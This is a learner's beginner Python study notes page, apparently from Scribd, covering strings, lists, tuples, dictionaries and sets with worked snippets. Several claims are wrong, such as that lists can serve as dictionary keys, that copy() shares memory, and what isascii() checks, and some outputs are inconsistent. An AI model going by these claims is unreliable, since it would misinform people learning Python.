0% found this document useful (0 votes)
156 views

Python

Python was created by Guido van Rossum in 1980 and released in 1991. It started as a hobby for van Rossum to create a dynamic programming language that was still easy to use. Python uses an interpreter that checks each line of code and will stop if there is an error on a line. Variables in Python are containers that store data values and follow certain naming rules. The data types in Python include integers, floats, complex numbers, strings, and more.

Uploaded by

Jonh smith
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
156 views

Python

Python was created by Guido van Rossum in 1980 and released in 1991. It started as a hobby for van Rossum to create a dynamic programming language that was still easy to use. Python uses an interpreter that checks each line of code and will stop if there is an error on a line. Variables in Python are containers that store data values and follow certain naming rules. The data types in Python include integers, floats, complex numbers, strings, and more.

Uploaded by

Jonh smith
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 117

Python

It developed by Guido van Rossum, a Dutch scientist. It got an idea for creating python in
1980 then it started the development of python in 1989 and realeased in 1991. It all started
as a hobby.
Python used interpreter :- In the interpreter it check line by line code. If one line of code has
error then it will stop there and show the error.

Variables:-
They are like containers which used to store data values. Like

Variable Value
A 3

Note:- If it has two different variable but has same value. Then it will save at same memory
space(It has same id). Like

Variable Value
A 2
B 2

They have same id


To check they have same id or not.
print(id(A))
print(id(B))
Note:- The id always change whenever you run the code again and again it will change
respectively.

Rules for Creating Variables in Python


1) A variable must start with a letter or the underscore Symbol ( _ ).
2) Variable is case-sensitive.
[name, NAME, Name] – They are all different variables.
3) You can not use defined words in python as a variable. Like :- if, else etc.
4) A variable cannot be start with numbers. Like (1,2,3….many-more)

Things that works as Variables Things that didn’t works as Variables


A=1 If=21
a=2 Else=22
Harish=3 Ab#dc=88
ab12=4 ab kl = 00
Ab12=5 1ab= 65
_hello=6 Version1.3=66
a_b = 7
a,b = 89
a=’dog’ print(a)
a += ‘cat’
print(a) -> dogcat

a = 8,7,9
print(a) -> 8,7,9

a,b = 7,2
print(a,b) -> 7,2
print(a) -> 7
print(b) -> 2

a =b=c=d=e = 90
print(a) -> 90
print(d) -> 90
print(e) -> 90

and many-more.

Variable(Refrence) Value(Object) Total Objects and Refrences


a= 2 Refrence = 1, Object = 1
a =b=c=d=e = 3 Refrence = 5, Object = 1

Every Variable is a Refrence, Every Value is a Object

Variable = Datatype(Value)
DataType

DataTypes Examples
Integer-Datatype All Numeric-Value(1,2,-1,-2….manymore.)
Float-Datatype All Point Value(1.2,12.5,…..manymore.)
Complex-Datatype 3 + 2j ( j – it is must)
String-Datatype Anything written B/w (‘ ’, “ ”, ‘’’ ‘’’)

String:-
• String is an ordered collection of data items.
• String is immutable. You can not add any new elements or words at desired position
or nor delete in existing String.
• String is defined by ‘ ‘, “ “, ‘’’ ‘’’ we called it Quotes.
• String is used to print a message.
• In String every character or elements counts including spaces. like(name -> 5)
• In String you can add or multiply the Strings.

Indexing:- There are Two types of indexing


1. Positive-Indexing
2. Negative-Indexing

Positive-Indexing:- It Starts with 0 to +ve infinity. It Direction from left to Right. It is used to
access only single elements or character(a,b,c….manymore.)

Negative-Indexing:- It Starts with -1 to –ve infinity. It Direction from Right to Left. It is used
to access only single elements or character(a,b,c….manymore.)

Formate → Variable[Index No.]


Short-Cut for Comment a Code:-

Ctrl + /
Slicing :-

Variable[start: stop: step]


String-Methods
Methods Description
Indexing -> Positive-Indexing and Negative a = “Enter your name”
Indexing. b = a[2]
print(b)
#Positive-Indexing :- t
Variable[Positive-Index_No.] left to right
0 to manymore…
#Negative-Indexing a = “Enter your name”
Variable[Negative-Index_No.] right to left b = a[-1]
-1 to manymore… print(b)
:- e
Note:- Spaces count as Index No.

Variable.index(‘string’) a = “Enter your name”


b = a.index(‘E’)
V.index() = This method help to find the print(b)
index no. of letter or element in a String or :- 0
a word.
a = “Enter your name”
Note:- Spaces count as Index No. b = a.index(‘your’)
print(b)
:- 6
len(variable) a = “My name is Harish”
b = len(a)
len() = This method is help to count every print(b)
element or letter in a string including :- 17
backspaces too.
a = “Enter”, “Your”, “Name”
Note:- It always start with 1 to manymore.. b = len(a)
print(b)
:- 3
count(‘string’) a = “Hello Harish Sharma”
b = a.count(‘H’)
count() = This method is help to count print(b)
every word or letter repeat in a String. :- 2

a = “Hello Harish Sharma”


b = a.count(‘Harish’)
print(b)
:- 1
‘anything’.join(variable) a = “Hello Harish Sharma”
b = ‘-‘.join(a)
‘-’.join(variable) = This method help to add print(b)
anything B/w each letter or element of a :- H-e-l-l-o- -H-a-r-i-s-h- -S-h-a-r-m-a
String
Ex:- ‘-‘, ‘#’, ‘st’ etc. a = “Hello Harish Sharma”
b = ‘*’.join(a)
print(b)
:- H*e*l*l*o* *H*a*r*i*s*h*
*s*h*a*r*m*a
Variable.lower() a = “HELLO HARISH SHARMA”
b = a.lower()
V.lower() = This method help to make print(b)
every letter and element inside the string in :- hello harish sharma
lower character.
Variable.upper() a = “Hello Harish Sharma”
b = a.upper()
V.upper() = This method help to make print(b)
every letter and element inside the string in :- HELLO HARISH SHARMA
upper character.

Variable.capitalize() a = “hello harish sharma”


b = a.capitalize()
V.capitalize() = This method help to make print(b)
only first word of first letter in uppercase. :- Hello harish sharma
Variable.title() a = “hello harish sharma”
b = a.title()
V.title() = This method help to make every print(b)
word of first letter in uppercase. :- Hello Harish Sharma
Variable.swapcase() a = “hello harish sharma”
b = a.swapcase()
V.swapcase() = This method help to make print(b)
uppercase letter to lowercase letter and :- HELLO HARISH SHARMA
lowercase letter to uppercase.
a = “HELLO HARISH SHARMA”
b = a.swapcase()
print(b)
:- hello harish sharma
Variable.split() a = “hello harish sharma”
b = a.split()
V.split() = This method help to make print(b,type(b))
separate the words in a List format. :- ['hello', 'harish', 'sharma'] <class 'list'>
Variable.endswith(‘last letter or word’) a = “hello harish sharma”
b = a.endswith(‘a’)
V.endswith(‘last letter or word’) = This print(b)
method is help to check if the last word or :- True
last letter of String is True or False.
a = “hello harish sharma”
b = a.endswith(‘sharma’)
print(b)
:- True

a = “hello harish sharma”


b = a.endswith(‘s’)
print(b)
:- False

Variable.startswith(‘first word or letter’) a = “hello harish sharma”


b = a.startswith(‘h’)
V.startswith = This method is help to check print(b)
if first word or letter is True or False. :- True

a = “hello harish sharma”


b = a.startswith(‘hello’)
print(b)
:- True

a = “hello harish sharma’


b = a.startswith(‘s’)
print(b)
:- False
‘String’ in Variable a = ‘hello harish sharma’
b = ‘h’ in a
‘String’ in V = This method is help to check print(b)
a word or a letter present in a String or not. :- True

a = ‘hello harish sharma’


b = ‘harish’ in a
print(b)
:- True

a = ‘hello harish sharma’


b = ‘joker’ in a
print(b)
:- False
Variable.find(‘word or letter) a = ‘hello harish sharma’
b = a.find(‘h’)
V.find(‘word or letter’) = this method help to find print(b)
the index no. of letter or word in a String. :- 0

Note:- If word or letter not present in String then it a =’hello harish sharma’
will return -1. b = a.find(‘ha’)
print(b)
:- 6
Compare(>,<, =>, =<) print( ‘Emma > ‘Emm’ )
print( ‘John’ > ‘Jhon’ ) :- True
:- True
a = 'harish'
b = a * 3
print(b)

:-harishharishharish
print(Variable.count(Vsub-String, len(gap)) str1 = 'my isname isisis
jameis isis bond'
str1 = 'my isname isisis jameis isis bond' sub = 'is'
sub = 'is' print(str1.count(sub, 3
print(str1.count(sub, 4 )) ))

:- 6 :- 7
str1 = 'enter your name name name str1 = 'enter your name
name' name name name'
sub = 'name' sub = 'name'
print(str1.count(sub, 12)) print(str1.count(sub))

:- 3 :- 4

format:- Dynamic change the value of Variables.

Variable = ‘String {}, {}…manymore’.format(‘StringValue1’, ‘StringValue2’…manymore)

a = ‘The value of a is {}. The value of b is {}’.format(‘Harish’, ‘Sharma’)


print(a)
:- The value of a is Harish. The value of b is Sharma.

#Giving Index no. of StringValue. It can be interchange.


a = ‘The value of a is {0}. The value of b is {1}’.format(‘Harish’, ‘Sharma’)
print(a)
:- The value of a is Harish. The value of b is Sharma.

#First define variable then give it to String. It can be interchange(b,a).


a = ‘Harish’
b = ‘Sharma’
a = ‘The value of a is {}. The value of b is {}’.format(a,b)
print(a)
:- The value of a is Harish. The value of b is Sharma.

#Define variable in a format as well as put it in a String. It can interchange (b,a)


a = ‘The value of a is {a}. The value of b is {b}’.format(a = ‘harish’, b = ‘Sharma’)

Variable.isalnum() a = ‘My name is Harish’


b = a.isalnum()
V.isalnum = The method returns True if all print(b)
the characters are alphanumeric, meaning :- False
alphabet letter (a-z) and numbers (0-9).
a = ‘myname123’
b = a.isalnum()
Note:- Back-Spaces or Special character print(b)
must not be in a String or it will Always :- True
return False
a = ‘myname’
b = a.isalnum()
print(b)
:- True

a = ‘123@#’
b = a.isalnum()
print(b)
:- False

Variable.isalpha() a = ‘myname123’
b = a.isalpha()
V.isalpha() = this method help to identify print(b)
only alphabet present in a String. :- False

Note:- No-Spaces, No-Numbers, No- a = ‘myname’


SpecialCharacters. b = a.isalpha()
print(b)
:- True

a = ‘my name’
b = a.isalpha()
print(b)
:- False

a = ‘myname@#’
b = a.isalpha()
print(b)
:- False

Variable.isdigit() a = ‘1234’
b = a.isdigit()
V.isdigit() = this method help to identify print(b)
numbers present in String or not. :- True

Note:- No-BackSpaces, No- a = ’12 34’


SpecialCharacters, No-Alphabets, No- b = a.isdigit()
FloatIntegers print(b)
:- False

a = ‘abc1234’
b = a.isdigit()
print(b)
:- False
Variable.isdecimal() a = ‘1’
b = a.isdecimal()
V.isdecimal() = The method returns True if print(b)
all the characters are decimals (0-9). :- True

Note:- No-FloatIntegers, No-Spaces, No- a = ‘2.1’


Alphabets b = a.isdecimal()
print(b)
:- False
a = ‘1234’
b = a.isdecimal()
print(b)
:- True

a = ’12 34’
b = a.isdecimal()
print(b)
:- False

Variable.isnumeric() a = ‘123’
b = a.isnumeric()
V.isnumeric() = The method returns True if print(b)
all the characters are numeric (0-9), :- True
otherwise False.
a = ’12 34’
Note:- No-BackSpaces, No-alphabets, No- b = a.isnumeric()
SpecialCharacters, No-FloatIntegers. print(b)
:- False

Variable.isascii() a = ‘123’
b = a.isascii()
V.isascii() = this method help to check print(b)
Value is defined in Python or not. :- True

a = ‘@’
b = a.isascii()
print(b)
:- True
Variable.islower() a = ‘as vc’
b = a.islower()
V.islower() = This method returns True if all print(b)
the characters are in lower case, otherwise :- True
False.
a = ‘WEetd’
Note:- No-UpperCharacters. b = a.islower()
print(b)
:- False

a = ‘adc123’
b = a.islower()
print(b)
:- True
Variable.isupper() a = ‘DG SD’
b = a.isupper()
V.isupper() = This method returns True if all print(b)
the characters are in upper case, otherwise :- True
False.
a = ‘adSD’
b = a.isupper()
print(b)
:- False

a = ‘SDC123’
b = a.isupper()
print(b)
:- True

a = ‘123’
b = a.isupper()
print(b)
:- False

List:-
• List is an ordered collection of data items.
• List is mutable. It can be added or delete in original List.
• List can store similar and different types of data values. Like:-
String,Dictonary,Tuples,Integers etc.
• List is defined by square brackets. []
• Every Value in a List is Separated by Comma (,). Like:- [1,2,3, “String”, {2:3}]

List-Indexing,Methods
a = [] Anything Between the SquareBrackets is
print(type(a)) called List.
:- <class ‘list’> []

a = [1, ’String’, {2:3}, (‘String’,2), [26,7] ] :- <class 'list'> [1, 'String', {2: 3}, ('String', 2),
print(type(a), a) [26, 7]]
#Positive-Indexing. Postive-Indexing can help us to get the
access of a Value inside a List.
• It start from 0 to manymore..
a = [1,2,3,'String'] • It start from left to Right.
b = a[2]
c = a[3] :- 3, String
print(b, c)

a = [1,2,3,'String']
b = a[2], a[3] :- (3, ‘String’)
print(b)

#Nested-Indexing In List Nested-Indexing can help us to get the


access of the letter or value inside the List
Q:- Get – 7, ‘this’, ‘is’ or List.
a = [1,2,3,4, [7,8,9,'this']]
b = a[4][0], a[4][3], a[4][3][2:]
print(b)
:- (7, 'this', 'is')
Q:- Get - 'this', '77', '88',8, ‘is’
a = [1,2,3,4,5,[6,7,8,[77,88,'this']]]
b = a[5][3][2], a[5][3][0], a[5][3][1], a[5][2],
a[5][3][2][2:]
print(b, type(a)) :- ('this', 77, 88, 8, 'is') <class 'list'>

Append:- Adding any type of value in a List a = [2,3,4,5,6,78]


at last position. a.append(53)
Variable.append(Argument) print(a)
:- [2,3,4,5,6,78,53]
Note:- It will take only one argument.
a = [2,3,4,5,6,78]
a.append(53), a.append(5.4)
print(a)
:- [2,3,4,5,6,78,53,5.4]

a = [2,3,4,5,6,78]
a.append('String')
print(a)
:- [2,3,4,5,6,78,’String’]

a = [2,3,4,5,6,78]
a.append({2:4})
print(a)
:- [2,3,4,5,6,78,{2:4}]
Insert :- this method help to Position a new a = [2,3,4,5,6,78]
Value at the Desired Position. a.insert(2,33)
print(a)
Variable.insert(Index_No. , Value) :- [2, 3, 33, 4, 5, 6, 78]

Note:- When we postion new value at the a = [2,3,4,5,6,78]


existing value position then it will shift a.insert(5,'String')
forward. print(a)
:- [2, 3, 4, 5, 6, 'String', 78]

a = [2,3,4,5,6,78]
a.insert(3, 6.9)
print(a)
:- [2, 3, 4, 6.9, 5, 6, 78]

a = [2,3,4,5,6,78]
a.insert(1, [1,2])
print(a)
:- [2, [1, 2], 3, 4, 5, 6, 78]
a = [1,2,3,4]
b = a * 2
print(b)

:- [1, 2, 3, 4, 1, 2, 3, 4]

Extend :- this method help add more a = [2,3,4,5,6,78]


than one value in a Original List. a.extend([53,45])
print(a)
Variable.extend(Argument1, :- [2, 3, 4, 5, 6, 78, 53, 45]
Argument2..etc)
a = [2,3,4,5,6,78]
Note:- All new value add at the last of a.extend(['String',{2:3},1.2,4])
List Position print(a)
:- [2, 3, 4, 5, 6, 78, 'String', {2: 3}, 1.2,
4]

Update :- This method help to add new a = [2,3,4,5,6,78]


value at the postion of original value by a[2]=(53)
replacing it. print(a)
:- [2, 3, 53, 5, 6, 78]
Variable[Index.no]=[NewValue]
Delete_Methods:- pop, remove, del, a = [2,3,4,5,6,78]
clear . a.pop()
print(a)
Pop :- This method help to remove any :- [2, 3, 4, 5, 6]
value from original List at any position.
a = [2,3,4,5,6,78]
Variable.pop(Index_No.) a.pop(1)
print(a)
Note:- If Index_No. not defined it will :- [2, 4, 5, 6, 78]
remove the last value from List
Variable.remove(Value inside a List) a = [2,3,4,5,6,78]
a.remove(4)
V.remove(Value) :- It takes Values print(a)
inside of Original List. :- [2, 3, 5, 6, 78]

Note:- It will only take one Value at one a = [2,3,4,5,4,6,78]


time not multiple. a.remove(4), a.remove(4)
print(a)
:- [2, 3, 5, 6, 78]

a = [2,3,4,5,6,78]
a.remove(4), a.remove(78)
print(a)
:- [2, 3, 5, 6]

del Variable[Index_No.] a = [2,3,4,5,6,78]


del a[3]
del V[Index_no.] = this method helps to print(a)
delete the multiple values from the List. :- [2, 3, 4, 6, 78]

a = [2,3,4,5,6,78]
del a[2:6]
print(a)
:- [2, 3]

a = [2,3,4,5,6,78]
del a[::2]
print(a)
:- [3, 5, 78]

a = [2,3,4,5,6,78,[56,2]]
del a[6][0]
print(a)
:- [2, 3, 4, 5, 6, 78, [2]]

a = [2,3,4,5,6,78]
del a[1::2]
print(a)

:- [2, 4, 6]

Variable.clear() a = [2,3,4,5,6,78]
a.clear()
V.clear() :-this method help to delete print(a)
whole List Values and make it empty. :- []

Variable.reverse() a = [2,3,4,5,6,78]
a.reverse()
V.reverse() :- this method help to print(a)
reverse the whole list Values. :- [78, 6, 5, 4, 3, 2]
Variable.sort() a = [78,45,2,33,49]
a.sort()
V.sort() :- this method help to arrange print(a)
all Values inside of List in ascending :- [2, 33, 45, 49, 78]
order.

Variable.sort() a = [78,45,2,33,49]
a.sort()
V.sort() :- this method help to arrange print(a)
all Values inside of List in ascending :- [2, 33, 45, 49, 78]
order.
a = [78,45,2,33,49]
a.sort()
a.reverse()
print(a)
:- [78, 49, 45, 33, 2]
Variable.count(Value inside of List) a = [78,45,2,33,9,9,9,49]
b = a.count(9)
V.count(Value) :- this method help to print(b)
check how many times same value :- 3
repeated.
Variable.index(Value inside of List) a = [78,45,2,33,9,9,9,49]
b = a.index(78)
V.index(Value) :- this method help to print(b)
find the index no. of value inside the :- 0
List.
Variable.copy() c = [3,4,5,56,90]
a = [78,45,2,33,9,9,9,49]
V.copy() :- this method help to copy the b = a.copy(), c.copy()
whole List inside a another Variable. print(b)
:- ([78, 45, 2, 33, 9, 9, 9, 49], [3, 4, 5, 56,
Note:- It saves the datatype in a same 90])
memory-location.
a = [78,45,2,33,9,9,9,49]
b = a.copy()
print(b)
:- [78, 45, 2, 33, 9, 9, 9, 49]

List-Concatination:- Only List can add with List


List with List, String with String, Dictonary with Dictonary, Tuple with Tuple

a = [78,45,2,33,9,9,9,49]
b = [89,'String',{3:4},5,(4,590)]
c = [8,65,34,[23,67,55]]
d = a+b+c
print(d)
:- [78, 45, 2, 33, 9, 9, 9, 49, 89, 'String', {3: 4}, 5, (4, 590), 8, 65, 34, [23, 67, 55]]

Tuple :-
• Tuple is a sequence data type.
• Tuple is an order collection of data items.
• Tuple can store any data type. List, Tuple, Dictonary, String, Integer etc.
• Tuple can store similar and different data items.
• Tuple is defined by parenthesis ().
• Tuple is immutable

a = () a = (1,2,3,4)
print(type(a)) b = a * 2
print(b)
:- <class ‘tuple’>
:- (1, 2, 3, 4, 1, 2, 3, 4)
a = (1,1,1,1,2.3,4,5)
print(a, type(a)) a = 2,3,4
:- (1, 1, 1, 1, 2.3, 4, 5) <class 'tuple'> b = type(a)
print(a, b)
a = (1, ‘String’, [3,4], {2:3}, 9.8)
:- (2, 3, 4) <class 'tuple'>
print(a, type(a))
:- (1, 'String', [3, 4], {2: 3}, 9.8) <class a = (2)
'tuple'> b = type(a)
print(b)
:- <class 'int'>

Note:- Single element inside a tuple called


int.

len(Variable) a = (1,1,1,'String',[3,4],(2,3))
b = len(a)
len(V) = this method help to find the length print(b)
of Tuple it starts from 1 to manymore… :- 6

a = (1,2,3,5,6,'')
print(len(a))
:- 6
Variable.count(Value inside a Tuple) a = (1,1,1,1,1,5,6,7)
b = a.count(1)
V.count(Value) :- this method help to count print(b)
the value repeatation inside the Tuple. :- 5

Variable.index(Value inside a Tuple) a = (1,1,1,2,3,5,6,7)


b = a.index(1)
V.index(Value) = this method help to print(b)
indentify the Index No. of a Value. :- 0

Variable = sorted(Variable) a = (1,1,55,70,88,1,2,3,5,6,7)


b = sorted(a)
V.sorted(V) = this method help to arrange print(b)
the values inside a Tuple in a Ascending- b.reverse()
Order. print(b)
:-
V.reverse() = this method help to arrange [1, 1, 1, 2, 3, 5, 6, 7, 55, 70, 88]
the sorted Value in a Descending-Order. [88, 70, 55, 7, 6, 5, 3, 2, 1, 1, 1]
Concatination

Concatination = Adding two or more Tuples.


They have different memory Location

a = (1,1,1,2,3,5,6,7)
b = (7,8,9,5,67)
c=a+b
print(c)
:- (1, 1, 1, 2, 3, 5, 6, 7, 7, 8, 9, 5, 67)

a = (1,1,1,2,3,5,6,7)
print(id(a))
b = (7,8,9,5,67)
c=a+b
print(id(c))
print(c)
:- 2334710629312
2334710902224
(1, 1, 1, 2, 3, 5, 6, 7, 7, 8, 9, 5, 67)

a = (1,2,3,4)
b=a*2
print(b)
:- (1, 2, 3, 4, 1, 2, 3, 4)

max(Variable) a = (1,1,55,70,88,1,2,3,5,6,7)
b = max(a)
max.(V) = this method help to find the print(b)
maximum value inside the tuple. :- 88

min.(Variable) a = (1,1,55,70,88,1,2,3,5,6,7)
b = min(a)
min.(V) = this method help to find print(b)
minimum value inside the tuple. :- 1
Dictionary:-
• Dictionary is an unodered collection of data values.
• Dictionary holds key:value pair. {key:value}
• A Dictionary can be created by placing a sequence of elements within curly {} braces,
separated by ‘comma , ’.
• Values in a dictionary can be any data type can be duplicated. But keys can’t be
repeated
• Dictionary is mutable can be added or deleted.
• Keys are only created by immutable datatypes :- Numeric, String, Tuple, List.

a = {} a = {'name':'abc'}
print(type(a)) print(len(a))
:- <class 'dict'> print(type(a))
:- 1
<class 'dict'>
a = {'name':'abc' , 12:56, (4,5,6) : 90} a = {'name':('abc',56,9.8), 12:56, (4,5,6):90}
print(a) print(a)
print(len(a)) print(len(a))
print(type(a)) print(type(a))
:- {'name': 'abc', 12: 56, (4, 5, 6): 90} :- {'name': ('abc', 56, 9.8), 12: 56, (4, 5, 6):
3 90}
<class 'dict'> 3
<class 'dict'>

a = {34:[5,6], 12:56, (4,5,6):90}


print(a)
print(len(a))
print(type(a))
:-
{34: [5, 6], 12: 56, (4, 5, 6): 90}
3
<class 'dict'>

Getting Value Access by Keys a = {'a':34,'b':45, 'c':78}


Variable[‘keys’] b = a['a'], a['b'], a['c']
print(b)
V[‘keys’] = this method help to getting :- (34, 45, 78)
access of Values inside a Dictonary by keys.

Note :- You can not get the access of Keys


by Values.

Variable.get(‘keys’) a = {'a':34,'b':45, 'c':78}


b = a.get('a')
V.get(‘keys’) = this method help to get the print(b)
Values by using keys. :- 34
Nested-Dictionary:- a = {'a':34,'b':45, 'c':78, 'd':{'a':34, 5:{6:7 ,
8:9}}}
a = {'a':34,'b':45, 'c':78, 'd':{'a':34, 5:6}} b = a['d']['a'] , a['d'][5][6] , a['d'][5][8]
b = a['d']['a'], a['d'][5] print(b)
print(b) :- (34, 7, 9)
:- (34, 6)

Variable[‘keys’] = Values a = {'ab':10,'bd':12, 'ef':13, 'fg':14}


a['a'] = 78
V[‘keys’] = Values => this method help to a['b'] = {8:9}
add new element inside a Dictionary at the print(a)
last point OR Update the Existing Value. :-
{'ab': ‘10', 'bd': 12, 'ef': 13, 'fg': 14, 'a': 78,
'b': {8: 9}}

a = {'ab':10,'bd':12, 'ef':13, 'fg':14}


a['ab'] = 'Updated Value'
print(a)
:-
{'ab': 'Updated Value', 'bd': 12, 'ef': 13, 'fg':
14,}

Dictionarywanttochange.update(dictonary a = {'ab':10,'bd':12, 'ef':13, 'fg':14}


try to add or Update) b = {'ab':45, 67:78, 5:7, 'ef':89}
a.update(b)
VD.update(V) = this method help to add or print(a)
update the dictionary at one time :-
{'ab': 45, 'bd': 12, 'ef': 89, 'fg': 14, 67: 78, 5:
7}
Variable.pop(‘keys’) a = {'ab':10,'bd':12, 'ef':13, 'fg':14}
a.pop('bd')
V.pop(‘keys’) = this method help to remove print(a)
a element from the dictionary by keys. :- {'ab': 10, 'ef': 13, 'fg': 14}

Variable.popitem() a = {'ab':10,'bd':12, 'ef':13, 'fg':14}


a.popitem()
V.popitem() = this method help to remove print(a)
only last element of dictionary. :- {'ab': 10, 'bd': 12, 'ef': 13}

del Variable[‘keys’] …manymore. a = {'ab':10,'bd':12, 'ef':13, 'fg':14}


del a['ab']
del V[‘keys’] = this method help to delete print(a)
the multiple elements at one time by using :- {'bd': 12, 'ef': 13, 'fg': 14}
keys.
a = {'ab':10,'bd':12, 'ef':13, 'fg':14}
del a['ab'], a['bd']
print(a)
:- {'ef': 13, 'fg': 14}
Nested-Delete a = {'ab':10,'bd':12, 'ef':{13:6, 7:9}, 'fg':{2:5,
5:6}}
del Variable[‘keys’] …manymore. del a['ef'][13], a['fg'][5]
print(a)
del V[‘keys’] = this method help to delete :- {'ab': 10, 'bd': 12, 'ef': {7: 9}, 'fg': {2: 5}}
the multiple elements at one time by using
keys.

Variable.clear() a = {'ab':10,'bd':12, 'ef':13, 'fg':14}


a.clear()
V.clear() = this method help to whole print(a)
dictionary. :- {}

V = Variable.keys() a = {'ab':10,'bd':12, 'ef':13, 'fg':14}


b = a.keys()
V.keys() = this method help to get all the print(b)
keys inside the dictionary. :- dict_keys(['ab', 'bd', 'ef', 'fg'])

V = Variable.values() a = {'ab':10,'bd':12, 'ef':13, 'fg':14}


b = a.values()
V.values() = this method help to get all the print(b)
values inside the dictionary. :- dict_values([10, 12, 13, 14])
V = Variable.items() a = {'ab':10,'bd':12, 'ef':13, 'fg':14}
b = a.items()
V.items() = this method help to get all the print(b)
keys and values :- dict_items([('ab', 10), ('bd', 12), ('ef', 13),
('fg', 14)])
V = Variable.copy() a = {'ab':10,'bd':12, 'ef':13, 'fg':14}
b = a.copy()
V.copy() = this method help to copy the print(b)
whole dictionary in another Variable. :- {'ab': 10, 'bd': 12, 'ef': 13, 'fg': 14}

V = Variable.setdefault(‘keys’) a = {'ab':10,'bd':12, 'ef':13, 'fg':14}


b = a.setdefault('fg')
V.setdefault(‘keys’) = this method help to print(b)
the value of of keys if it is exist in a :- 14
Dictionary.
V.setdefault(‘keys’) = this method also help a = {'ab':10,'bd':12, 'ef':13, 'fg':14}
to add the elmenet inside the dictionary if it b = a.setdefault('ff',66)
doesn’t exist. print(a)
:- {'ab': 10, 'bd': 12, 'ef': 13, 'fg': 14, 'ff': 66}

Sets:-
• Set is an unordered collection of data items.
• Set is defined by build in set function. set()
• Set does not support repeated values.
• Set can be created by {}.
• It is mutable data type can change.

a = set() a = set('this')
print(type(a)) print(a)
:- <class 'set'> :- {'i', 't', 's', 'h'}

Note:- It shows random values. Whenever


we run the code again and again.
a = set((5,6,7)) a = set([5,6,7])
print(type(a)) print(a, type(a))
print(a) :- {5, 6, 7} <class 'set'>
:- <class 'set'>
{5, 6, 7}
a = set({2:3,4:5}) a = set({56,8})
print(a) print(a)
:- {2, 4} :- {56, 8}

Note:- Only keys can show.


a = {12,34,(5,6)} a = {12,34,'this'}
print(type(a)) print(a)
:- <class 'set'> :- {34, 'this', 12}

Note:- Only Random Values shows.

a = {12,34,2,4,5} a = {12,34,2,4,5}
print(a) for i in a:
:- {34, 2, 4, 5, 12} print(i)
34
2
4
5
12
a = {12,34,(5,6),[1,2,3]} a = {12,34,2,4,5}
print(type(a)) a.add(45)
:- TypeError: unhashable type: 'list' print(a)
:- {34, 2, 4, 5, 12, 45}
Note:- It only contains immutable values
inside a Set that can not change. Like:- Note:- Only immutable value can add inside
Numeric-Values, Tuples, Strings. {} a Set Numeric-Values, Tuples, Strings and
Only one arguments.

V.add(immutable_value) :- this method


help to add only one Value inside a Set.
a = {12,34,2,4,5} a = {12,34,2,4,5}
a.add((45,67)) a.update('this', [78,89],(67,88))
print(a) print(a)
:- {34, 2, 4, 5, (45, 67), 12} :- {2, 67, 4, 5, 's', 12, 78, 88, 89, 'h', 34, 't',
'i'}
V.add(immutable_value) :- this method
help to add only one Value inside a Set. V.update(immutable_values) :- this
method help to add Multiple Values inside
a Set.
a = {12,34,2,4,5} a = {12,34,2,4,5}
a.update(1,'this', [78,89],(67,88)) a.add([2,3,4])
print(a) print(a)
:- TypeError: 'int' object is not iterable :- TypeError: unhashable type: 'list'

Note:- Not use integers in Update Method. Note:- Only immutable values can add or
only one arguments.
a = {12,34,2,4,5} a = {12,34,2,4,5}
a.pop() a.pop(1)
print(a) print(a)
:- {2, 4, 5, 12}
:- TypeError: set.pop() takes no arguments
V.pop() :- this method help to remove (1 given)
random value from Set.

a = {12,34,2,4,5} a = {12,34,2,4,5}
a.remove(12) a.discard(34)
print(a) print(a)
:- {34, 2, 4, 5} :- {2, 4, 5, 12}

V.remove(Value):- this method help to V.discard(Value) :- this method help to


remove values inside a Set. remove the value from the set.
Note:- If Value doesn’t present in a Set. It
will not show the Error
a = {12,34,2,4,5} a = {12,34,2,4,5}
a.discard(33) a.clear()
print(a) print(a)
:- {34, 2, 4, 5, 12} :- set()

Note:- If Value doesn’t present in a Set. It V.clear() :- this method help to empty
will not show the Error whole Set at one time.

a = {12,34,2,4,5} a = {12,34,2,4,5}
del a b = a.copy()
print(a) print(b)
:- name 'a' is not defined :- {34, 2, 4, 5, 12}

Note:- this method help Delete whole Set. V.copy() :- this method help to copy the
whole set of variable
a = {12,12,12,34,2,4,5}
print(a)
:- {34, 2, 4, 5, 12}

Note:- Set can not take duplicate values


Variable.difference(Variable…etc) a = {12,34,2,4,5, 'is'}
b = {45,67,89,12,34}
V.difference(Variable) :- this method help d = {22,33,5,34}
to get difference Values. c = a.difference(b)
print(c)
:- {2, 5, 'is', 4}
Variable.difference(Variable…etc) a = {12,34,2,4,5, 'is'}
b = {45,67,89,12,34}
V.difference(Variable) :- this method help d = {22,33,5,34}
to get difference Values. e = {2,4}
f = {'is'}
c = a.difference(b,d,e,f)
print(c)
:- set()

Variable.difference_update(Variable) a = {12,34,2,4,5, 'is'}


b = {45,67,89,12,34}
V.difference_update(Variable) :- this d = {22,33,5,34}
method update the Values inside the Set. a.difference_update(b)
print(a)
:- {2, 4, 5, 'is'}
a = {12,34,2,4,5, 'is'}
b = {45,67,89,12,34}
d = {22,33,5,34}
b.difference_update(a)
print(b)
:- {67, 89, 45}

a = {12,34,2,4,5, 'is'}
b = {45,67,89,12,34}
d = {22,33,5,34} 4
a.difference_update(b)
print(a)
b.difference_update(a)
print(b)
:- {2, 4, 5, 'is'}
{34, 67, 89, 12, 45}
Variable.union(Variable) a = {1,2,3}
b = {4,1,5,6}
V.union(Variable) :- this method help to c = a.union(b)
combine two sets return one time if same print(c)
value present in both Sets. :- {1, 2, 3, 4, 5, 6}
Variable.intersection(Variable) a = {1,2,3}
b = {4,1,5,6}
V.intersection(Variable) :- this method help c = a.intersection(b)
to get only common values between two print(c)
sets. :- {1}`
Variable.intersection_update(Variable) a = {1,2,3}
b = {4,1,5,6}
V.intersection_update(Variable) :- this a.intersection_update(b)
method help to update the Variable set. print(a)
:- {1}

Variable.isdisjoint(Variable) a = {2,34,'is', 5}
b = {45,67,89,12,34}
V.isdisjoint(V) :- this method help to check c = a.isdisjoint(b)
True or False. print(c)
If both sets have different Values it will give :- False
True.
If both sets have different same Values or x = {"apple", "banana", "cherry"}
even one same Value it will give False. y = {"google", "microsoft", "facebook"}
z = x.isdisjoint(y)
print(z)
:- True

Variable.issubset(Variable) a = {1,2}
b = {1,2,3,4}
V.issubset(Variable) :- this method help to c = a.issubset(b)
check both sets Values if both are same it print(c)
will return True. It not False. :- True
a = {3,1,2}
b = {1,2,3,4}
c = a.issubset(b)
print(c)
:- True
a = {1,2,5}
b = {1,2,3,4}
